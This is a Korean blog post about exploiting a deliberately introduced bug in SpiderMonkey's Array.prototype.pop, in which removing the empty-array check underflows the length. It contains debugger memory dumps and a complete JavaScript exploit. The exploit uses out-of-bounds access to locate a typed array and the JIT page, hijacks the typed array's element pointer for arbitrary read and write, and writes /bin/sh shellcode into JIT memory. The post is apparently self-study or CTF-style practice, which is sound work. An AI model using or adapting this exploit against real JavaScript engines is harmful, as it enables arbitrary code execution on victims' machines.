spider monkey의 소스 코드를 취약하게 패치하여 임의로 취약점을 만들었다.
수정 전 코드.
//mozjs-24.2.0/js/src/jsarray.cpp
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
CallArgs args = CallArgsFromVp(argc, vp);
/* Step 1. */
RootedObject obj(cx, ToObject(cx, args.thisv()));
if (!obj)
return false;
/* Steps 2-3. */
uint32_t index;
if (!GetLengthProperty(cx, obj, &index))
return false;
/* Steps 4-5. */
if (index == 0) {
/* Step 4b. */
args.rval().setUndefined();
} else {
/* Step 5a. */
index--;
/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;
/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
}
// Keep dense initialized length optimal, if possible. Note that this just
// reflects the possible deletion above: in particular, it's okay to do
// this even if the length is non-writable and SetLengthProperty throws.
if (obj->isNative() && obj->getDenseInitializedLength() > index)
obj->setDenseInitializedLength(index);
/* Steps 4a, 5d. */
return SetLengthProperty(cx, obj, index);
}
수정 후 코드.
//mozjs-24.2.0/js/src/jsarray.cpp
JSBool
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
CallArgs args = CallArgsFromVp(argc, vp);
/* Step 1. */
RootedObject obj(cx, ToObject(cx, args.thisv()));
if (!obj)
return false;
/* Steps 2-3. */
uint32_t index;
if (!GetLengthProperty(cx, obj, &index))
return false;
/* Steps 4-5. */
/* Step 5a. */
index--;
/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;
/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
// Keep dense initialized length optimal, if possible. Note that this just
// reflects the possible deletion above: in particular, it's okay to do
// this even if the length is non-writable and SetLengthProperty throws.
if (obj->isNative())
obj->setDenseInitializedLength(index);
/* Steps 4a, 5d. */
return SetLengthProperty(cx, obj, index);
}
Value의 구조체인 JS value의 구조체는 아래와 같다.
typedef union jsval_layout
{
uint64_t asBits;
struct {
JSValueTag tag : 17;
uint64_t payload47 : 47;
} debugView;
struct {
uint32_t padding;
union {
int32_t i32;
uint32_t u32;
JSWhyMagic why;
} payload;
} s;
double asDouble;
void *asPtr;
size_t asWord;
uintptr_t asUIntPtr;
} JSVAL_ALIGNMENT jsval_layout;
js::array_pop에서 인자를 가져올 때 CallArgsFromVp 함수를 사용한다. vp+2를 인자로 넘기는 것을 볼 수 있다? jsval_layout의 구조체를 보면 +1을 넘겨야 할 것 같은데 디버깅하면 +2의 위치에 있는 것이 맞다...
//CallArgs.h
CallArgsFromVp(unsigned argc, Value *vp)
{
return CallArgs::create(argc, vp + 2);
}
array의 구조체를 확인하기 위해서 간단한 코드를 짠 후 디버깅했다.
//test3.js
function d2i(d){
var a = new Uint32Array(new Float64Array([d]).buffer);
return [a[1], a[0]];
}
function i2d(x){
return new Float64Array(new Uint32Array([x[1], x[0]]).buffer)[0];
}
function i2h(i2){
var v1 = ("0x0" + i2[0].toString(16)).substr(-8);
var v2 = ("0x0" + i2[1].toString(16)).substr(-8);
return [v1,v2];
}
function p_i2(d){
print(i2h(d2i(d))[0]+i2h(d2i(d))[1])
}
a=[0x41414141,0x51515151,0x61616161]
print('length:'+a.length)
Math.atan(a)
for(var i= 1;i<0x10;i++){
print(a[i])
}
print(a[3])
Math.atan(a)
구조체를 보면 object+0x18에 element가 시작되는 포인터가 있는 것을 볼 수 있다. 그 뒤에는 length가 온다. 잘 보면 length가 2개 존재하는 것을 알 수 있다. 첫번째 길이가 C++에서 관리하는 array의 실제 길이이고, 그 뒤에 오는 길이는 javascript 단에서 관리하는 길이이다. javscript에서 관리하는 길이는 a.length=0xdeadbeef로 유저가 덮어쓸 수 있다. 하지만 이 경우 a[0x100]으로 접근하면 undefined라고 뜨고 leak이 되지 않는다. OOB를 트리거하기 위해서는 C++이 관리하는 첫번째 길이가 오염되어야 한다.
gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0: 0x00007ffff62475d8 0x00007ffff6231820
0x7ffff6244ad0: 0x0000000000000000 0x00007ffff6244af0
0x7ffff6244ae0: 0x0000000300000000 0x0000000300000006
0x7ffff6244af0: 0xfff8800041414141 0xfff8800051515151
0x7ffff6244b00: 0xfff8800061616161 0x0000000000000000
0x7ffff6244b10: 0x0000000000000000 0x0000000000000000
addr+0x18위치에 index[0]의 포인터가 있기 때문에 이 부분을 덮어쓰면 AAW과 AAR이 가능하다
a=[] 선언 이후 Math.atan(a)로 구조체 확인.
gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0: 0x00007ffff62475d8 0x00007ffff6231820
0x7ffff6244ad0: 0x0000000000000000 0x00007ffff6244af0
0x7ffff6244ae0: 0x0000000000000000 0x0000000000000006
0x7ffff6244af0: 0x0000000000000000 0x0000000000000000
0x7ffff6244b00: 0x0000000000000000 0x0000000000000000
0x7ffff6244b10: 0x0000000000000000 0x0000000000000000
0x7ffff6244b20: 0x0000000000000000 0x0000000000000000
0x7ffff6244b30: 0x0000000000000000 0x0000000000000000
0x7ffff6244b40: 0x0000000000000000 0x0000000000000000
0x7ffff6244b50: 0x0000000000000000 0x0000000000000000
0x7ffff6244b60: 0x0000000000000000 0x0000000000000000
0x7ffff6244b70: 0x0000000000000000 0x0000000000000000
0x7ffff6244b80: 0x0000000000000000 0x0000000000000000
0x7ffff6244b90: 0x0000000000000000 0x0000000000000000
0x7ffff6244ba0: 0x0000000000000000 0x0000000000000000
0x7ffff6244bb0: 0x0000000000000000 0x0000000000000000
0x7ffff6244bc0: 0x0000000000000000 0x0000000000000000
a.pop() 이후, 구조체 다시 확인. 길이 필드가 0xfffffff로 세팅된 것을 볼 수 있다. 따라서 OOB가 발생한다.
gdb-peda$ x/68gx 0x7ffff6244ac0
0x7ffff6244ac0: 0x00007ffff62475d8 0x00007ffff6231820
0x7ffff6244ad0: 0x0000000000000000 0x00007ffff6244af0
0x7ffff6244ae0: 0xffffffff00000000 0xffffffff00000006
0x7ffff6244af0: 0x0000000000000000 0x0000000000000000
0x7ffff6244b00: 0x0000000000000000 0x0000000000000000
0x7ffff6244b10: 0x0000000000000000 0x0000000000000000
0x7ffff6244b20: 0x0000000000000000 0x0000000000000000
0x7ffff6244b30: 0x0000000000000000 0x0000000000000000
0x7ffff6244b40: 0x0000000000000000 0x0000000000000000
0x7ffff6244b50: 0x0000000000000000 0x0000000000000000
0x7ffff6244b60: 0x0000000000000000 0x0000000000000000
익스플로잇 방법은 다음과 같다.
- array1, array2를 만든 후 array1에 대해서 OOB를 발생하게 한다.
- array2의 구조체에 특정한 값을 넣어서, 그 값을 기준으로 array2를 찾는다.
- array2의 element ptr을 수정햐여 AAW, AAR를 가능하게 한다.
- JIT 페이지 근처의 특정한 값을 기준으로 JIT 페이지 찾아냄
- AAW로 JIT에 쉘코드 넣기
JIT 주소
아직 JIT을 쓰는 부분이 좀 이해가 안 간다... 맨 마지막에 Math.atan(1)을 빼면 JIT로 안 뛰는데 왜 그러지.......
function i2d(x){
tmp1= x/0x100000000
tmp2= x%0x100000000
return new Float64Array(new Uint32Array([tmp2, tmp1]).buffer)[0];
}
function test(v){
var a=1;
var b=v;
a=a+b+1;
return v+1;
//print("test");
}
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(v) {
lo=d2u(v)[0];
hi=d2u(v)[1];
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}
a=[1.8457939563e-314]
b=new Uint32Array(0xbeef);
for(i=0; i<0x1000; i++){
test(1);
}
Math.atan(b)
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
a.pop()
a.pop()
print(a[0xe7f])
print(hex(a[0xe7f]))
for(var i=0;i<0x20000;i++){
tmp=a[i];
tmp=hex(tmp)
// print(i+' '+tmp);
if(tmp=="0x40e7dde000000000"){
print("I find b !!!!!")
id0=i+2;
}
if(tmp=="0x2c42cc"){
print("I find JIT !!!!!")
jit=i-2
break;
}
}
leak=a[id0]
element=hex(leak)
print("element = "+element)
jit_addr=hex(a[jit])
print("JIT addr = "+jit_addr)//leak addr
jit_addr=parseInt(jit_addr,16)
a[id0]=i2d(jit_addr)//write b's pointer
//a[id0]=i2d(0xdeadbeef)
b[0]=0xbb48f631
b[1]=0x6e69622f
b[2]=0x68732f2f
b[3]=0x5f545356
b[4]=0x31583b6a
b[5]=0x90050fd2
for(var i=0;i<0x1000;i++){
// b[i]=0xcccccccc
test(1)
}
Math.atan(1);
test(1);
b[i]=0xcccccccc
b[i+0x10000]+0xcccccccc
print("test done")
Math.atan(b)
https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
https://pwn3r.tistory.com/entry/CODEGATE-2017-QUAL-jsworld
'브라우저' 카테고리의 다른 글
DownUnderCTF 2020 / is-this-pwn-or-web (0) | 2020.09.21 |
---|---|
Chrome v8 / CVE-2019-5791 (0) | 2020.08.17 |
pwn2win 2020 / omnitmizer (0) | 2020.06.03 |
Chrome v8 / CVE-2020-6418 (1) | 2020.04.25 |
Chrome v8 / CVE-2019-5825 (0) | 2020.04.23 |